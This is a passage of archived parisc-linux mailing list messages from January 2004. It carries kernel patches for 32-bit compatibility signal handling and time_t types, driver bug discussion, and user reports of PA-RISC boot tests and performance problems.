> I'll deal with forward porting the changes once your comments are integrated.
> Naresh, can you take care of that and resubmit?

Their development would actually go a lot easier if they worked on 2.6.
Compare lba_pci.c between 2.4 and 2.6 -- the new one is a *lot* easier
to work on.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:30:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 carlos
Date: Wed, 28 Jan 2004 00:23:42 -0500
Lines: 244
Approved: news@gmane.org
Message-ID: <20040128052341.GH12191@baldric.uwo.ca>
References: <20040128051247.D6C6C4941AA@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623156 5166 80.91.229.3 (22 Nov 2014 02:25:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Tue Jan 27 22:23:22 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep02-mail.bloor.is.net.cable.rogers.com
	(fep02-mail.bloor.is.net.cable.rogers.com [66.185.86.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 016214843
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Jan 2004 22:23:21 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep02-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040128052107.FPC100608.fep02-mail.bloor.is.net.cable.rogers.com@systemhalted>
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Jan 2004 00:21:07 -0500
Content-Disposition: inline
In-Reply-To: <20040128051247.D6C6C4941AA@palinux.hppa>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (60% Sync Ratio [======....])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep02-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Wed,
	28 Jan 2004 00:21:07 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Jan 2004 05:23:22 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20721

On Tue, Jan 27, 2004 at 10:12:47PM -0700, Carlos O'Donell wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	carlos	04/01/27 22:12:47
> 
> Modified files:
> 	kernel         : signal.c compat_signal.c 
> 	include/linux  : compat_siginfo.h compat.h 
> 	include/asm-parisc: compat_ucontext.h compat_rt_sigframe.h 
> 	include/asm-generic: compat_signal.h 
> 
> Log message:
> Update the compat_siginfo_t framework.
> 

This patch is an update based on feedback from the linux-arch community.
Notably we add is_compat_task() and let the compiler optimize out the
code when CONFIG_COMPAT is not set. It also completes the changeover to
using include/linux/compat_siginfo.h instead of the asm-generic version,
which required that all arches add a compat_siginfo.h to their asm
directory.


Index: kernel/signal.c
===================================================================
RCS file: /var/cvs/linux-2.6/kernel/signal.c,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- kernel/signal.c	11 Dec 2003 00:48:55 -0000	1.10
+++ kernel/signal.c	28 Jan 2004 05:12:46 -0000	1.11
@@ -24,15 +24,11 @@
 #include <linux/binfmts.h>
 #include <linux/security.h>
 #include <linux/ptrace.h>
+#include <linux/compat_siginfo.h>
 #include <asm/param.h>
 #include <asm/uaccess.h>
 #include <asm/siginfo.h>
 
-#ifdef CONFIG_COMPAT
-#include <linux/personality.h>
-#include <asm/compat_siginfo.h>
-#endif
-
 /*
  * SLAB caches for signal bits.
  */
@@ -2011,12 +2007,11 @@ int copy_siginfo_to_user(siginfo_t __use
 	if (from->si_code < 0)
 		return __copy_to_user(to, from, sizeof(siginfo_t))
 			? -EFAULT : 0;
-# ifdef CONFIG_COMPAT
+	
 	/* Use compat_siginfo_t with 32-bit signals */
-	if(personality(current->personality) == PER_LINUX32){
+	if(is_compat_task(current)){
 		return compat_copy_siginfo_to_user((compat_siginfo_t __user *)to,from);
 	}
-# endif
 	
 	/*
 	 * If you change siginfo_t structure, please be sure
Index: kernel/compat_signal.c
===================================================================
RCS file: /var/cvs/linux-2.6/kernel/compat_signal.c,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- kernel/compat_signal.c	10 Dec 2003 22:37:50 -0000	1.1
+++ kernel/compat_signal.c	28 Jan 2004 05:12:46 -0000	1.2
@@ -4,7 +4,7 @@
  *  2003-12-20  Carlos O'Donell
  *              Copied linux/kernel/compat_signal.c (copy_siginfo_to_user)
  *              and modified to use compat_siginfo_t for thunking down to
- *              32-bit userspace with an ELF64 kernel.
+ *              32-bit userspace from a 64-bit kernel.
  *              
  * This program is free software; you can redistribute it and/or modify
  * it under the terms of the GNU General Public License as published by
@@ -19,14 +19,12 @@
  *
  * You should have received a copy of the GNU General Public License
  * along with this program; if not, write to the Free Software
- * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA 
  *
  */
 
-/*#define __KERNEL_SYSCALLS__*/
-
+#include <linux/compat_siginfo.h>
 #include <asm/errno.h>
-#include <asm/compat_siginfo.h>
 #include <asm/uaccess.h>
 #include <asm/siginfo.h>
 
@@ -41,8 +39,8 @@ int compat_copy_siginfo_to_user(compat_s
 		return -EFAULT;
 	
 	/*
-	 * If you change siginfo_t structure, please be sure
-	 * this code is fixed accordingly.
+	 * If you change compat_siginfo_t structure *or* siginfo_t, 
+	 * please be sure this code is fixed accordingly.
 	 * It should never copy any pad contained in the structure
 	 * to avoid security leaks, but must copy the generic
 	 * 3 ints plus the relevant union member.
@@ -86,7 +84,7 @@ int compat_copy_siginfo_to_user(compat_s
 	case __SI_FAULT:
 		compat_from.si_addr = (compat_uptr_t)((u64)(from->si_addr) & 0xffffffffUL);
 		err |= __put_user(compat_from.si_addr, &to->si_addr);
-#ifdef __ARCH_SI_TRAPNO
+#ifdef __ARCH_SI_COMPAT_TRAPNO
 		compat_from.si_trapno = (compat_int_t)(from->si_addr);
 		err |= __put_user(compat_from.si_trapno, &to->si_trapno);
 #endif
Index: include/linux/compat_siginfo.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/linux/compat_siginfo.h,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- include/linux/compat_siginfo.h	26 Jan 2004 21:09:14 -0000	1.1
+++ include/linux/compat_siginfo.h	28 Jan 2004 05:12:46 -0000	1.2
@@ -6,18 +6,18 @@
 
 #ifndef CONFIG_COMPAT
 
-/* No compatibility layer required, add empty definitions
-   for the compiler */
+/* No compatibility layer required, add empty definitions for the compiler */
 
 typedef struct compat_siginfo{
 } compat_siginfo_t;
 
 static inline int compat_copy_siginfo_to_user(void *x, unsigned long y)
 {
-	return 0;
+	return -1;
 }
 
 #else
+
 #include <linux/compiler.h>
 #include <asm/siginfo.h>
 
@@ -166,3 +166,4 @@ extern int compat_copy_siginfo_to_user(c
 
 #endif /* CONFIG_COMPAT */
 #endif /* _ASM_GENERIC_COMPAT_SIGINFO_H */
+
Index: include/linux/compat.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/linux/compat.h,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- include/linux/compat.h	27 Jan 2004 22:02:36 -0000	1.6
+++ include/linux/compat.h	28 Jan 2004 05:12:46 -0000	1.7
@@ -6,15 +6,26 @@
  */
 #include <linux/config.h>
 
-#ifdef CONFIG_COMPAT
+#ifndef CONFIG_COMPAT
+
+/* Non-native task requiring compat... doesn't exist */
+#define is_compat_task(x) 0
+
+#else
 
 #include <linux/stat.h>
 #include <linux/param.h>	/* for HZ */
+#include <linux/personality.h>  /* Conditional process compat */
 #include <asm/compat.h>
 
 #define compat_jiffies_to_clock_t(x)	\
 		(((unsigned long)(x) * COMPAT_USER_HZ) / HZ)
 
+/* Non-native task requiring compat */
+#ifndef HAVE_ARCH_IS_COMPAT_TASK
+#define is_compat_task(x) (x->personality == PER_LINUX32)
+#endif
+	
 struct compat_itimerspec { 
 	struct compat_timespec it_interval;
 	struct compat_timespec it_value;
Index: include/asm-parisc/compat_ucontext.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/compat_ucontext.h,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- include/asm-parisc/compat_ucontext.h	10 Dec 2003 22:37:10 -0000	1.1
+++ include/asm-parisc/compat_ucontext.h	28 Jan 2004 05:12:47 -0000	1.2
@@ -4,7 +4,7 @@
 #include<linux/compat.h>
 #include<asm/compat_signal.h>
 
-/* ELF32 ucontext as seen from an ELF64 kernel */
+/* 32-bit ucontext as seen from an 64-bit kernel */
 struct compat_ucontext {
 	compat_uint_t uc_flags;
 	compat_uptr_t uc_link;
Index: include/asm-parisc/compat_rt_sigframe.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/compat_rt_sigframe.h,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- include/asm-parisc/compat_rt_sigframe.h	10 Dec 2003 22:36:09 -0000	1.1
+++ include/asm-parisc/compat_rt_sigframe.h	28 Jan 2004 05:12:47 -0000	1.2
@@ -1,5 +1,5 @@
 #include<linux/compat.h>
-#include<asm/compat_siginfo.h>
+#include<linux/compat_siginfo.h>
 #include<asm/compat_ucontext.h>
 
 #ifndef _ASM_PARISC_COMPAT_RT_SIGFRAME_H
Index: include/asm-generic/compat_signal.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-generic/compat_signal.h,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- include/asm-generic/compat_signal.h	10 Dec 2003 22:35:48 -0000	1.1
+++ include/asm-generic/compat_signal.h	28 Jan 2004 05:12:47 -0000	1.2
@@ -1,8 +1,8 @@
 #ifndef _ASM_GENERIC_COMPAT_SIGNAL_H
 #define _ASM_GENERIC_COMPAT_SIGNAL_H
 
-# ifndef __ASSEMBLY__
-#  include <linux/types.h>
+#ifndef __ASSEMBLY__
+#include <linux/compat.h>
 
 typedef compat_uptr_t compat_sighandler_t;
 
@@ -12,8 +12,6 @@ typedef struct compat_sigaltstack {
 	compat_size_t ss_size;
 } compat_stack_t;
 
-#  ifdef __KERNEL__

From - Thu Nov 08 21:30:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 carlos
Date: Wed, 28 Jan 2004 00:25:31 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <20040128052530.GI12191@baldric.uwo.ca>
References: <20040128051415.4C9724941AA@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623157 5169 80.91.229.3 (22 Nov 2014 02:25:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Tue Jan 27 22:25:17 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep01-mail.bloor.is.net.cable.rogers.com
	(fep01-mail.bloor.is.net.cable.rogers.com [66.185.86.71])
	by dsl2.external.hp.com (Postfix) with ESMTP id 962FD4843
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Jan 2004 22:25:16 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep01-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040128052224.IGR484300.fep01-mail.bloor.is.net.cable.rogers.com@systemhalted>
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Jan 2004 00:22:24 -0500
Content-Disposition: inline
In-Reply-To: <20040128051415.4C9724941AA@palinux.hppa>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (60% Sync Ratio [======....])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep01-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Wed,
	28 Jan 2004 00:22:24 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Jan 2004 05:25:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20722

On Tue, Jan 27, 2004 at 10:14:15PM -0700, Carlos O'Donell wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	carlos	04/01/27 22:14:15
> 
> Modified files:
> 	include/asm-parisc: posix_types.h 
> 
> Log message:
> __kernel_time_t should be of type long on 32-bit systems, it used to be int
> 

The generic code expects this to be of type long on all builds, even
32-bit. This might cause other warnings in parisc drivers that have
gotten used to having time_t as int.

Index: include/asm-parisc/posix_types.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/posix_types.h,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- include/asm-parisc/posix_types.h	28 Sep 2003 04:06:17 -0000	1.2
+++ include/asm-parisc/posix_types.h	28 Jan 2004 05:14:14 -0000	1.3
@@ -29,7 +29,7 @@ typedef long			__kernel_time_t;
 typedef unsigned int		__kernel_size_t;
 typedef int			__kernel_ssize_t;
 typedef int			__kernel_ptrdiff_t;
-typedef int			__kernel_time_t;
+typedef long			__kernel_time_t;
 #endif
 typedef char *			__kernel_caddr_t;
 


From - Thu Nov 08 21:30:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Naresh Kumar <knaresh@india.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] error?
Date: Wed, 28 Jan 2004 10:56:53 +0530
Lines: 22
Approved: news@gmane.org
Message-ID: <4017481D.D43C51C@india.hp.com>
References: <40163368.74DACC64@india.hp.com>
	<20040127172256.GB28476@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623157 5173 80.91.229.3 (22 Nov 2014 02:25:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: knaresh@india.hp.com  Tue Jan 27 22:27:16 2004
Return-Path: <knaresh@india.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87B374843
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Jan 2004 22:27:16 -0700 (MST)
Original-Received: from redsea.india.hp.com (redsea.india.hp.com [15.76.97.3])
	by atlrel9.hp.com (Postfix) with ESMTP
	id 86A391C004CE; Wed, 28 Jan 2004 00:27:12 -0500 (EST)
Original-Received: from india.hp.com (eb9856.india.hp.com [15.76.98.56])
	by redsea.india.hp.com (8.9.3 (PHNE_29774)/8.9.3 SMKit7.02) with ESMTP
	id LAA13292; Wed, 28 Jan 2004 11:10:30 +0530 (IST)
X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U)
X-Accept-Language: en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Jan 2004 05:27:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20723

Grant,
I was referring to linux-2.6. There are two 'break' statements in 'case
PAT_GMMIO:'. Removing the first 'break' will do.
Regards,
Naresh.


> Those are "extra"?
> The version of code in linux-2.4 CVS has:
>                 case PAT_GMMIO:
>                         printk(KERN_WARNING MODULE_NAME
>                                 " range[%d] : ignoring GMMIO (0x%lx)\n",
>                                 i, p->start);
>                         lba_dev->gmmio_base = p->start;
>                         break;
>
> The code you quoted is missing the "case PAT_GMMIO" and printk.
>
> thanks,
> grant



From - Thu Nov 08 21:30:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 carlos
Date: Wed, 28 Jan 2004 15:00:48 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <400CB8A1000067CB@ocpmta3.freegates.net>
References: <20040128060516.492DE4941AA@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623157 5174 80.91.229.3 (22 Nov 2014 02:25:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Wed Jan 28 07:00:50 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 111B148A4
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Jan 2004 07:00:50 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) id 1AlqFM-0001OV-00
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Jan 2004 15:00:48 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 28 Jan 2004 15:00:48 +0100
In-Reply-To: <20040128060516.492DE4941AA@palinux.hppa>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Jan 2004 14:00:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20724

Hi all,

This boot fine on the b180 (32bit kernel), the b2k (32bit kernel only even
with CONFIG_PA20 is Ok but failed with 64bit kernel?) and N4000-55 (same
64bit kernel  build with my own kgcc-3.3.3 :)).

Any way this last test set aside any pb with _my_ gcc compiler :).

Congratulation to all,
    Joel

>-- Original Message --
>To: parisc-linux-cvs@lists.parisc-linux.org
>Date: Tue, 27 Jan 2004 23:05:16 -0700 (MST)
>From: carlos@parisc-linux.org (Carlos O'Donell)
>Reply-To: parisc-linux@lists.parisc-linux.org
>Subject: [parisc-linux-cvs] linux-2.6 carlos
>
>
>CVSROOT:	/var/cvs
Module name:	linux-2.6
Changes by:	carlos	04/01/27 23:05:15

Modified files:
	.              : Makefile 

Log message:
Builds and boots on my A500 (64-bit), builds in 32-bit mode aswell (e.g.
no CONFIG_COMPAT)

_____________
>_________________________________
parisc-linux-cvs mailing list
parisc-linux-cvs@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux-cvs



-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Heikki Hannikainen <hessu@hes.iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] K380 partial success, the state of the port?
Date: Wed, 28 Jan 2004 16:13:50 +0200 (EET)
Lines: 52
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0401281500300.14924@jazz.he.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623158 5186 80.91.229.3 (22 Nov 2014 02:25:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: hessu@hes.iki.fi  Wed Jan 28 07:14:12 2004
Return-Path: <hessu@hes.iki.fi>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from he.fi (he.fi [213.28.116.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 57D5E4843
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Jan 2004 07:14:12 -0700 (MST)
Original-Received: from localhost ([IPv6:::ffff:127.0.0.1]:13454 "EHLO localhost"
	TLS-CIPHER: "EDH-RSA-DES-CBC3-SHA keybits 168/168 version TLSv1/SSLv3"
	TLS-PEER: <none>) by hes.iki.fi with ESMTP id <S189261AbUA1ONv>;
	Wed, 28 Jan 2004 16:13:51 +0200
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Jan 2004 14:14:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20725


  Hi,

  I'm working on a K380 system with 4*240 MHz PA8200 CPUs, 2G of memory. I
initially installed it with the palinux-2.4.21-pa6-20030718-netinst.iso
netinstall CD images. I was amazed how smoothly it went! I've run the
alpha and sparc ports in the past on a bit less powerful hardware. I have
a couple of questions:

- the box seems awfully slow when compared to a similar HP-UX 11 box.
With 2.4.21-32 uniprocessor kernel 'time /bin/true' takes about 0.07s,
'time time /bin/true' takes 0.12s. 'time strace /bin/true' takes a
whopping 0.822s, almost all of which is spent in the system:

real    0m0.822s
user    0m0.010s
sys     0m0.790s

- with an SMP kernel it's much slower. 'time /bin/true' says:

real    0m0.420s
user    0m0.010s
sys     0m0.400s

'time time /bin/true' takes 0.65s, 'time strace /bin/true' takes 2.8
allowing me to read the output while it's running. I compiled the SMP
kernel myself, 2.4.24-pa0 from the CVS on 27.1.2004. On CPU bound tasks
it's ok, but fork/exec/ptrace seems very slow.

  Is the parisc port supposed to be this slow at it's current state, or is
this a problem which is specific to my setup?

- Should I go to the 2.6 tree? I compiled it from the CVS (to get the
tulip driver working) but the SCSI failed:

Linux version 2.6.1-pa10 (root@soul) (gcc version 3.0.4) #2 SMP Tue Jan 27

zalon_probe: Zalon vers field is 0x1, IRQ 37
ncr53c720-0: rev 0xf irq 37
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3e
Using anticipatory io scheduler
scsi: Device offlined - not ready after error recovery: host 0 channel 0
id 0 l

  Is this a known problem?

  Thank you for your efforts!

  - Hessu



From - Thu Nov 08 21:30:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] K380 partial success, the state of the port?
Date: Wed, 28 Jan 2004 15:52:33 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <400CB8A1000068DD@ocpmta3.freegates.net>
References: <Pine.LNX.4.58.0401281500300.14924@jazz.he.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623158 5189 80.91.229.3 (22 Nov 2014 02:25:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:58 +0000 (UTC)
To: "Heikki Hannikainen" <hessu@hes.iki.fi>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Wed Jan 28 07:52:37 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA26F4843
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Jan 2004 07:52:36 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1Alr3T-00064B-00; Wed, 28 Jan 2004 15:52:35 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 28 Jan 2004 15:52:33 +0100
In-Reply-To: <Pine.LNX.4.58.0401281500300.14924@jazz.he.fi>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Jan 2004 14:52:37 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20726

Hello,

>- Should I go to the 2.6 tree? I compiled it from the CVS (to get the
>tulip driver working but the SCSI failed:
>
>Linux version 2.6.1-pa10 (root@soul) (gcc version 3.0.4) #2 SMP Tue Jan
27


